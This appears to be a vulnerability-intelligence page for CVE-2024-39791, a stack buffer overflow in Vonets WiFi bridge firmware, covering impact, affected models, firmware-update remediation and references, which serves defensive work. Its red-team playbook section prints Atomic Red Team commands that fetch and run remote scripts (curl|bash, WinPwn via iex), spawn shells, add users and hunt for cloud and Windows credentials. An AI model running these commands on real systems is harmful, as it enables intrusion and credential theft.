CVE-2024-39791
Overview
This vulnerability is a stack-based buffer overflow in the firmware of Vonets industrial WiFi bridge relays and repeaters. The root cause lies in improper bounds checking during processing of network packets or input data, which leads to memory corruption on the stack. Affected components include the firmware versions 3.3.23.6.9 and earlier for multiple Vonets device models, where input handling routines fail to validate buffer sizes.
Vulnerability Description
Stack-based buffer overflow vulnerabilities affecting Vonets industrial wifi bridge relays and wifi bridge repeaters, software versions 3.3.23.6.9 and prior, enable an unauthenticated remote attacker to execute arbitrary code.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on affected Vonets devices, gaining full control over the device's operating environment. This can lead to disruption of network bridging functions, unauthorized access to internal networks, and potential lateral movement within industrial or enterprise environments. The attack requires only network access to the vulnerable device, with no authentication or user interaction, as reflected by the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Vonets recommends updating affected devices to firmware versions later than 3.3.23.6.9 to remediate the buffer overflow vulnerabilities. Detailed patch instructions and advisory information are provided in the CISA ICS advisory ICSA-24-214-08 (https://www.cisa.gov/news-events/ics-advisories/icsa-24-214-08). Users should apply the latest firmware updates for models VAR1200-H, VAR1200-L, VAR600-H, VAP11AC, and VAP11G-500S as specified by the vendor to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in certain models of Vonets industrial Wi-Fi bridge relays and repeaters is characterized by a stack-based buffer overflow. This type of vulnerability occurs when a program writes more data to a buffer located on the stack than it can hold, leading to adjacent memory locations being overwritten. In this case, the affected firmware versions from Vonets allow an unauthenticated remote attacker to exploit this flaw, potentially leading to arbitrary code execution. The implications of this vulnerability are severe, as it can enable attackers to gain control over the device, manipulate its functions, or even pivot to other systems within the network.
Attack vectors for this vulnerability are particularly concerning due to the nature of the devices involved. Since these Wi-Fi bridge relays and repeaters are often deployed in industrial settings, they may be exposed to the internet or accessible via less secure networks. An attacker could exploit this vulnerability remotely without needing any form of authentication, making it an attractive target for malicious actors. For instance, an attacker could send specially crafted packets to the device, triggering the buffer overflow and executing arbitrary code. This could lead to a range of malicious activities, from data exfiltration to the deployment of malware within the network.
The real-world impact of this vulnerability can be significant, especially for organizations relying on these devices for critical industrial operations. The ability to execute arbitrary code remotely can lead to unauthorized access to sensitive data, disruption of services, and potential damage to the infrastructure. The business risks associated with such an exploit include financial losses, reputational damage, and regulatory penalties, particularly if sensitive data is compromised. Furthermore, the interconnected nature of industrial systems means that a breach could have cascading effects, impacting not just the immediate target but also other connected systems and devices.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions is crucial, as vendors often release patches to address known vulnerabilities. Network segmentation can also help limit exposure, ensuring that critical systems are isolated from less secure devices. Employing intrusion detection systems (IDS) can aid in identifying anomalous traffic patterns that may indicate an attempted exploit. Additionally, organizations should conduct regular security assessments and penetration testing to identify potential weaknesses in their infrastructure.
In conclusion, the stack-based buffer overflow vulnerability affecting Vonets industrial Wi-Fi bridge relays and repeaters poses a serious threat to organizations utilizing these devices. The potential for remote exploitation without authentication highlights the need for robust security measures. By prioritizing firmware updates, network segmentation, and proactive monitoring, organizations can significantly reduce their risk and enhance their overall cybersecurity posture. As the landscape of industrial IoT continues to evolve, staying vigilant against such vulnerabilities will be essential for maintaining the integrity and security of critical systems.
Affected Products (14)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vonets | Var1200-H Firmware | All |
cpe:2.3:o:vonets:var1200-h_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Var1200-L Firmware | All |
cpe:2.3:o:vonets:var1200-l_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Var600-H Firmware | All |
cpe:2.3:o:vonets:var600-h_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Vap11ac Firmware | All |
cpe:2.3:o:vonets:vap11ac_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Vap11g-500s Firmware | All |
cpe:2.3:o:vonets:vap11g-500s_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Vbg1200 Firmware | All |
cpe:2.3:o:vonets:vbg1200_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Vap11s-5g Firmware | All |
cpe:2.3:o:vonets:vap11s-5g_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Vap11s Firmware | All |
cpe:2.3:o:vonets:vap11s_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Var11n-300 Firmware | All |
cpe:2.3:o:vonets:var11n-300_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Vap11g-300 Firmware | All |
cpe:2.3:o:vonets:vap11g-300_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Vap11n-300 Firmware | All |
cpe:2.3:o:vonets:vap11n-300_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Vap11g Firmware | All |
cpe:2.3:o:vonets:vap11g_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Vap11g-500 Firmware | All |
cpe:2.3:o:vonets:vap11g-500_firmware:*:*:*:*:*:*:*:*
|
|
|
Vonets | Vga-1000 Firmware | All |
cpe:2.3:o:vonets:vga-1000_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-39791 |
| cisa.gov |
GitHub CVE
|
https://www.cisa.gov/news-events/ics-advisories/icsa-24-214-08 |